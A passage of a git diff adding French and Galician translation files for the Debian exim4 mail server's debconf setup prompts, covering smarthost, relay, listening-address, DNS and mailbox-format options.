+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Vous devez utiliser le format normalisé adresse/préfixe (par exemple "
+"194.222.242.0/24 ou 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Si ce système ne doit pas être un « smarthost » pour d'autres systèmes, ce "
+"champ devrait être laissé vide."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nom de domaine visible pour les utilisateurs locaux :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"L'option permettant de cacher le nom local de courrier a été activée. Il est "
+"donc nécessaire d'indiquer le nom de domaine que ce système doit utiliser "
+"pour les envois de courriers des utilisateurs locaux."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Nom réseau ou adresse IP du système « smarthost » :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Veuillez indiquer l'adresse IP ou le nom d'hôte du serveur qui sera le "
+"serveur de courrier sortant pour ce système (« smarthost »). Si ce serveur "
+"accepte les connexions sur un port différent du port TCP 25, veuillez "
+"l'indiquer avec deux caractères « deux-points » comme séparateurs, par "
+"exemple « smarthost.exemple::587 » ou « 192.168.254.254::2525. Les "
+"caractères « deux-points » dans les adresses IPv6 doivent être doublés."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Si le serveur « smarthost » impose une authentification, vous devriez "
+"consulter les fichiers « README » spécifiques à Debian dans /usr/share/doc/"
+"exim4-base pour plus d'informations sur l'authentification SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinataire des courriers de « root » et « postmaster » :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Les courriers destinés au superutilisateur, à « postmaster » et aux autres "
+"comptes système doivent être redirigés vers le compte utilisateur de "
+"l'administrateur réel du système."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Si ce champ est laissé vide, ces courriers seront conservés dans /var/mail/"
+"mail, ce qui est déconseillé."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Les courriers destinés « postmaster » devraient généralement être lus sur le "
+"système local, plutôt que redirigés vers un autre système. En conséquence, "
+"au moins un des utilisateurs que vous indiquez ne devraient pas rediriger "
+"ses courriers vers une autre machine. Le préfixe « real- » peut être utilisé "
+"pour imposer la distribution locale."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"Si vous indiquez plusieurs identifiants, veuillez les séparer par des "
+"espaces."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+"Liste d'adresses IP où Exim sera en attente de connexions SMTP entrantes :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Veuillez indiquer une liste d'adresses IP, séparées par des points-virgules, "
+"où le serveur de courrier SMTP d'Exim sera à l'écoute."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Si vous laissez cette entrée vide, Exim sera à l'écoute sur toutes les "
+"interfaces réseau disponibles."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Si ce système ne reçoit du courrier que depuis des services locaux (et non "
+"d'autres hôtes), vous devriez interdire les connexions externes au démon "
+"d'Exim. Les services locaux incluent les programmes de courrier électronique "
+"(« Mail User Agents » ou MUA) ainsi que des programmes tels que fetchmail. "
+"La désactivation des connexions entrantes sur les interfaces réseau "
+"publiques peut se faire en indiquant 127.0.0.1 ici."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Faut-il minimiser les requêtes DNS (connexions à la demande) ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"En fonctionnement normal, Exim effectue des contrôles DNS au démarrage et "
+"lors de la réception ou de la distribution de messages. Cela est destiné à "
+"la journalisation et permet de minimiser le nombre de valeurs codées en dur "
+"dans le fichier de configuration."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Si cet hôte n'a pas de connexion permanente vers un serveur de noms, "
+"notamment s'il utilise des connexions à la demande, cela peut avoir des "
+"conséquences inattendues. Par exemple, le lancement d'Exim ou le traitement "
+"de la file d'attente (même sans messages en attente) générera de coûteuses "
+"connexions."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Cette option est conseillée pour les systèmes utilisant des connexions à la "
+"demande. Elle devrait être désactivée pour des systèmes disposant d'une "
+"connexion permanente."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuration du serveur de courrier"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Faut-il séparer la configuration dans plusieurs fichiers ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Les paquets d'Exim 4 peuvent utiliser soit un fichier monolithique (/etc/"
+"exim4/exim4.conf.template), soit un nombre important de petits fichiers "
+"dans /etc/exim4/conf.d/ pour créer la configuration finale."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Une configuration en un seul fichier est plus adaptée aux modifications "
+"importantes et est généralement plus stable alors qu'une configuration "
+"éclatée se prête mieux aux petites modifications mais est plus fragile "
+"surtout si elle est modifiée sans précautions."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Des explications plus détaillées sur les deux types de fonctionnement "
+"peuvent être trouvées dans les fichiers README spécifiques à la "
+"distribution, placés dans /usr/share/doc/exim4-base/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Faut-il cacher le nom local de courrier dans les courriers sortants ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Les en-têtes des courriers sortants peuvent être réécrits afin qu'ils "
+"semblent avoir été émis depuis un autre système : « ${mailname} », "
+"« localhost » et « ${dc_other_hostnames} » seront alors remplacés dans les "
+"en-têtes « From », « Reply-To », « Sender » et « Return-Path »."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Format « mbox » dans /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Format « Maildir » dans le répertoire de base (home)"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Méthode de distribution du courrier local :"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim peut conserver les courriers distribués localement dans différents "
+"formats. Les plus courants sont les formats « mbox » et « Maildir ». Le "
+"format « mbox » utilise un seul fichier pour le dossier des courriers, dans /"
+"var/mail. Avec le format « Maildir », chaque message est stocké sous forme "
+"d'un fichier dans le répertoire ~/Maildir."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Veuillez noter que la plupart des outils de traitement du courrier utilisent "
+"le format « mbox » par défaut."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Déplacer les courriels en attente dans le tampon d'Exim 3 vers celui "
+#~ "d'Exim 4 ?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Des messages non distribués se trouvent dans le tampon d'envoi d'Exim 3 "
+#~ "(ou Exim-tls 3), c'est à dire le répertoire /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Si vous choisissez cette option, ils seront déplacés dans le tampon "
+#~ "d'envoi d'exim4 (/var/spool/exim4/input/) où ils pourront être traités "
+#~ "par exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Cette option est irréversible car Exim 4 peut gérer le tampon d'attente "
+#~ "d'Exim 3 alors que l'inverse n'est pas possible. Vous ne devriez déplacer "
+#~ "les messages que si vous n'avez pas l'intention de revenir à Exim 3. Dans "
+#~ "le cas contraire, il sera préférable de déplacer les messages plus tard."
diff --git a/debian/po/gl.po b/debian/po/gl.po
new file mode 100644
index 0000000..9748121
--- /dev/null
+++ b/debian/po/gl.po
@@ -0,0 +1,788 @@
+# Galician translation of exim4's debconf templates
+# Jacobo Tarrío <jtarrio@debian.org>, 2005, 2007.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-15 16:41+0100\n"
+"Last-Translator: Jacobo Tarrío <jtarrio@debian.org>\n"
+"Language-Team: Galician <proxecto@trasno.net>\n"
+"Language: gl\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "¿Borrar as mensaxes sen enviar do directorio de traballo?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Hai mensaxes no directorio de traballo de Exim, /var/spool/exim4/input/, que "
+"aínda non se entregaron. Se elimina Exim ha facer que queden sen entregar "
+"ata que reinstale Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se non se escolle esta opción consérvase o directorio de traballo, o que "
+"permite que as mensaxes da cola se envíen nunha data posterior despois de "
+"reinstalar Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigure exim4-config no canto deste paquete"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 ten a configuración separada nun paquete adicado, exim4-config. Para "
+"reconfigurar Exim4, empregue \"dpkg-reconfigure exim4-config\"."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "sitio de Internet; o correo envíase e recíbese directamente por SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "o correo envíase por un servidor; recíbese por SMTP ou fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "o correo envíase por un servidor; non hai correo local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "só entregas locais; non está nunha rede"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "non configurar neste momento"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipo xeral de configuración do correo:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Escolla o tipo de configuración do servidor de correo que máis se axuste ás "
+"súas necesidades."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Os sistemas con enderezos IP dinámicos, incluíndo os que usan módems, "
+"normalmente deberían configurarse para que envíen o seu correo saínte a "
+"outra máquina para que esta o entregue, porque moitos sistemas receptores de "
+"correo en Internet bloquean, para se protexer do spam, o correo que chega de "
+"enderezos IP dinámicos."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistema cun enderezo IP dinámico pode recibir o seu propio correo, ou "
+"pode desactivarse por completo a entrega local (agás o correo de root e "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "¿Quere deixar o sistema de correo sen configurar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Ata que configure o sistema de correo, este non ha poder funcionar. Pode "
+"configuralo máis adiante á man ou executando \"dpkg-reconfigure exim4-config"
+"\" coma administrador."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nome de correo do sistema:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"O \"nome de correo\" é o nome de dominio que se emprega para completar os "
+"enderezos de correo que non teñen un nome de dominio."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Este nome tamén se ha empregar noutros programas; debería ser o nome de "
+"dominio completo (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Por exemplo, se un enderezo de correo no servidor local fose foo@example."
+"org, o valor correcto para esta opción había ser example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Este nome non ha aparecer nas liñas From: das mensaxes saíntes se activa a "
+"rescritura."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Outros destinos para os que se acepta correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Introduza unha lista de dominios separados por signos de punto e coma (;) "
+"para os que esta máquina se debe considerar destinataria final. Estes "
+"dominios adoitan chamarse \"dominios locais\". O nome local (${fqdn}) e "
+"\"localhost\" sempre se engaden á lista de aquí."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Por defecto tódolos dominios locais trátanse igual. Se a.exemplo e b.exemplo "
+"son dominios locais, as mensaxes dirixidas a acc@a.exemplo e acc@b.exemplo "
+"entréganse ao mesmo destino final. Se quere que os dominios diferentes se "
+"traten de xeitos diferentes, ha ser necesario editar despois os ficheiros de "
+"configuración."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Dominios para os que se remite correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Introduza unha lista de dominios separados por signos de punto e coma (;) "
+"para os que este sistema ha remitir correo, por exemplo coma MX de respaldo "
+"ou pasarela de correo. Isto significa que este sistema ha aceptar correo "
+"destinado a eses dominios enviado desde calquera sitio de Internet e "
+"entregalo de acordo coas regras de entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Non mencione aquí os dominios locais. Pódense empregar comodíns."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máquinas para as que se remite correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Introduza unha lista de rangos de enderezos IP separados por signos de punto "
+"e coma (;) para os que este sistema ha remitir calquera mensaxe de xeito "
+"incondicional, funcionando coma servidor de correo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Debería empregar o formato estándar de enderezo/prefixo (por exemplo, "
+"194.222.242.0/24 ou 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Se este sistema non debe ser servidor de correo de ningunha outra máquina, "
+"deixe esta lista baleira."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nome de dominio visible para os usuarios locais:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Activouse a opción de ocultar o nome de correo local no correo saínte. Polo "
+"tanto, é necesario especificar o nome de dominio que este sistema debe "
+"empregar na parte de dominio dos enderezos de envío dos usuarios locais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Enderezo IP ou nome do servidor de correo saínte:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Introduza o enderezo IP ou o nome do servidor de correo que ten que empregar "
+"este sistema. Se o servidor só acepta correo nun porto distinto de TCP/25, "
+"engada dous signos de dous puntos (::) e o número de porto (por exemplo, "
+"servidor.exemplo::587 ou 192.168.254.254::2525). Tamén hai que duplicar os "
+"signos de dous puntos dos enderezos IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Se o servidor de correo saínte precisa de autenticación, consulte os "
+"ficheiros README específicos de Debian no directorio /usr/share/doc/exim4-"
+"base para ver notas sobre a configuración da autenticación SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatario do correo do administrador e postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"O correo para \"postmaster\", \"root\" e outras contas do sistema ten que se "
+"redirixir á conta de usuario real do administrador do sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Se este valor se deixa baleiro, ese correo hase gravar en /var/mail/mail, o "
+"que non se recomenda."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Teña en conta que o correo do postmaster debería lerse no sistema ao que se "
+"dirixe, no canto de o redirixir a outro sitio, así que (alomenos un de) os "
+"usuarios que escolla non deberían redirixir o seu correo fóra desta máquina. "
+"Pode empregar o prefixo \"real-\" para forzar a entrega local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Se indica varios nomes de usuario, sepáreos con espazos."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Enderezo IP no que esperar as conexións SMTP entrantes:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Introduza unha lista de enderezos IP separados por signos de punto e coma "
+"(;). O servizo de escoita por SMTP de Exim ha escoitar en tódolos enderezos "
+"IP desta lista."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Se deixa este valor en branco, Exim ha esperar conexións en tódolas "
+"interfaces de rede dispoñibles."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Se este sistema só recibe mail directamente de servizos locais (e non "
+"doutros servidores), aconséllase que prohiba as conexións externas ao "
+"servizo Exim local. Estes servizos inclúen programas de email (MUAs) que só "
+"se conectan a localhost, así coma fetchmail. Non son posibles as conexións "
+"externas ao introducir 127.0.0.1 aquí, xa que iso desactiva a escoita en "
+"interfaces de rede públicas."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "¿Minimizar o número de consultas DNS?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"No modo normal de funcionamento, Exim fai consultas DNS no inicio e cando "
+"recibe ou envía mensaxes. Isto faise para fins de rexistro e permite "
+"minimizar o número de valores incrustados na configuración."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Se este sistema non ten un servizo de resolución DNS completo dispoñible en "
+"todo momento (por exemplo, se para se conectar a Internet emprega un módem "
+"con chamada baixo demanda), isto pode ter consecuencias non desexadas. Por "
+"exemplo, iniciar Exim ou procesar a cola (incluso sen mensaxes agardando) "
+"podería causar unha chamada telefónica custosa."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Esta opción deberíase seleccionar se este sistema emprega chamada baixo "
+"demanda. Se ten acceso contínuo a Internet debería desactivarse esta opción."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuración do servidor de correo"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "¿Partir a configuración en ficheiros pequenos?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
